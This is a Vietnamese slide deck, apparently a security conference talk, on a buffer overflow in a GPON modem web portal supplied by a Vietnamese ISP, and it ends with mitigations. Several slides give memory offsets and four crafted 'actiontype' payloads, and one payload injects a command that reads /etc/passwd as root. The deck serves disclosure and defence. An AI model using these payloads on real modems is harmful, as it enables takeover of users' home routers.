Luc Nguyen - Hiem họa an toan tu cac modem internet cua cac ISP tại Viet Nam
1. Hiểm Họa An Toàn Từ Các Modem
Internet Của ISP Tại Việt Nam
Nguyen Van Luc
Email: nguyenvanluc(at)vsec.com.vn
2. Nội Dung
Tổng quan bảo mật mạng ISP
Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
Nguy hiểm và giải pháp phòng chống
Q & A
3. Tổng Quan Bảo Mật Mạng ISP
Mạng ISP
• Các modem được kết nối qua các
PSTN hay thiết bị định tuyến của
ISP.
• Mỗi modem được cấp phát một IP
theo dải bởi ISP. IP này có thể truy
cập từ Internet và được rà quét bởi
shodan.io
• Số lượng modem được cung cấp
cho người dùng rất lớn.
• Nhận thức và hiểu biết của người
dùng về bảo mật modem thấp.
4. Tổng Quan Bảo Mật Mạng ISP
Các vấn đề bảo mật thiết bị Modem:
• Các thiết bị modem đa phần được sản xuất và cung cấp từ Trung Quốc. Các ISP
không thể kiểm soát quy trình bảo mật.
• Các chương trình chạy trên modem tồn tại nhiều lỗ hổng do yếu điểm của kiến trúc
nhúng (ARM, MIPS).
• Các biện pháp chống khai thác (ASLR, DEP, GS,…) không được áp dụng hoặc khó
áp dụng.
• Khó duy trì và cập nhật bản vá cho thiết bị khi đã cung cấp tới người dùng.
• Mức độ quan tâm tới bảo mật thiết bị nhúng và IoT 4.0 chưa được chú trọng.
5. Tổng Quan Bảo Mật Mạng ISP
Một số lỗ hổng thiết bị Modem
(thế giới và VN):
• Mật khẩu truy cập thiết bị mặc
định
• Lỗ hổng trên chính các thiết bị
hay chip wifi của thiết bị
• Quản lý tr069 của rất nhiều ISP
tồn tại lỗi bảo mật.
6. Tổng Quan Bảo Mật Mạng ISP
Một số lỗ hổng thiết bị Modem
(thế giới và VN):
• Buffer overflow trong Web Portal
• CSRF, XSS, …
7. Thông tin về lỗ hổng
• Lỗ hổng tồn tại trong một thiết bị modem của ISP tại Việt Nam
• Lỗi tràn bộ đệm trong trang quản lý Web Portal của thiết bị
• Cho phép thực thi mã lệnh từ xa.
• Chỉ có thể thực hiện trong mạng LAN Wifi
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
8. Thông tin cơ bản về thiết bị
• GPON Router
• Chạy nhân Linux 2.6.x
• Kiến trúc ARM-LE 32 bits
• Không có các cơ chế chống khai thác: ASLR (Address Space Layout Randomize),
DEP (Data Execution Prevention), GS (Guard Stack),…
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
9. Phân tích firmware
• Firmware không được public (trừ 1 vài ISP)
• Thu thập firmware qua:
Google searching
JTAG, UART,...
Enable telnet/ssh → dump binary
• Sử dụng binwalk để phân tích firmware(thường sử
dụng ZLIB để nén):
Hỗ trợ giải nén squash, cramfs hay jffs
Trích xuất các tệp tin binary
• Reverse để phân tích và tìm lỗi.
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
10. Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
Lỗi tràn bộ đệm trong portal_Form
Hoạt động portal_Form:
1. Thực hiện hành động “ping” or “traceroute”
qua nội dung của actiontype được gửi lên.
2. Kiểm tra trạng thái kết nối WAN tại ô nhớ
0x35768. Trả ra
“WAN NOT UP” nếu không có kết nối
WAN
Gọi hàm diag_check thực hiện “ping” or
“traceroute”
11. Lỗi tràn bộ đệm trong portal_Form
Lỗi xảy ra trong việc copy dữ liệu từ
actiontype vào bộ nhớ sử dụng strcpy
Không kiểm tra độ dài của actiontype
dẫn tới dữ liệu được ghi tràn
action_buffer
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
12. Lỗi tràn bộ đệm trong
portal_Form
Hoạt động của diag_check
1. Nhận tham số là địa chỉ ô nhớ 0x3577c,
thực hiện lệnh system()
2. Ghi kết quả ra log và giao diện phía
client.
=> Thực hiện lệnh từ xa nếu
ta có thể thay đổi nội dung ô
nhớ 0x3577c
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
13. Lỗi tràn bộ đệm trong portal_Form
Khai thác lỗi:
• Địa chỉ của action_buffer chứa nội dụng của actiontype
là 0x356e4
• Địa chỉ của vùng nhớ cần ghi đè để thực hiện lệnh là 0x3577c
• Địa chỉ của vùng nhớ chứa trạng thái của WAN là 0x35768
=> Chúng ta cần 0x98 (0x3577c-0x356e4) để ghi đè 0x3577c
chứa lệnh thực thi và nội dung của ô nhớ 0x35768 = 0x000001
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
14. Lỗi tràn bộ đệm trong portal_Form
Khai thác lỗi: Thực hiện gửi liên tục 4 kết nối tới modem
1
st
request: thiết lập trạng thái bộ nhớ chứa mã lệnh cần thực hiện
actiontype=“ping”+“A”*(0x84-4)+”x69”*0x14 + “`cat /etc/passwd > /tmp/pwn`”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
Mã lệnh cần
thực hiện
15. Lỗi tràn bộ đệm trong portal_Form
Khai thác lỗi:
2
nd
request: Ghi đè byte thứ 4 của 0x35768 thành 0x00
actiontype = “ping” +“A”*(0x84-4) +”x69x69x69x00”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
16. Lỗi tràn bộ đệm trong portal_Form
Khai thác lỗi:
3
rd
request: Ghi đè byte thứ 3 của 0x35768(WAN_STATE)
thành 0x00
actiontype = “ping” +“A”*(0x84-4) +”x69x69x00”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
17. Lỗi tràn bộ đệm trong portal_Form
Khai thác lỗi:
4
th
request: Hoàn tất việc ghi đè 2 byte đầu tiên của
WAN_STATE thành 0x0001
actiontype = “ping” +“A”*(0x84-4) +”x01x00”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
18. Lỗi tràn bộ đệm trong portal_Form
Sau khi thực hiện xong 4 kết nối thì hàm diag_check sẽ được gọi. Mã lệnh sẽ được thực
hiện trên thiết bị Modem.
Web Portal được chạy với quyền root nên thiết bị hoàn toàn được kiểm soát.
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
Attacker
Target
19. l Nguy hiểm và giải pháp phòng chống
Mối nguy hiểm:
Thiết bị hoàn toàn có thể bị truy cập và kiểm soát bởi kể tấn công.
Tuy lỗi này chỉ được thực hiện trong LAN nhưng có thể kết hợp với lỗi
CSRF(Cross-Site Request Forgery) để tấn công.
Có thể được sử dụng kết hợp với một số lỗi khác để tấn công các thiết bị trong
cùng mạng của ISP.
20. l Nguy hiểm và giải pháp phòng chống
Phòng chống
• Người dùng:
Giới hạn người dùng không tin cậy truy cập wifi.
Vô hiệu hóa truy cập WEb Portal qua WAN nếu được bật.
Cập nhật firmware đã được vá từ ISP hoặc nhà sản xuất thiết bị.
• ISP:
Rà soát, vá lỗ hổng và thực thi các biện pháp chống khai thác: ASLR, DEP, GS, …
Thông báo và cung cấp bản vá cho người dung.
21. l Questions & Answers
contact<at>vsec.com.vn
Nguyen Van Luc(nguyenvanluc<at>vsec.com.vn)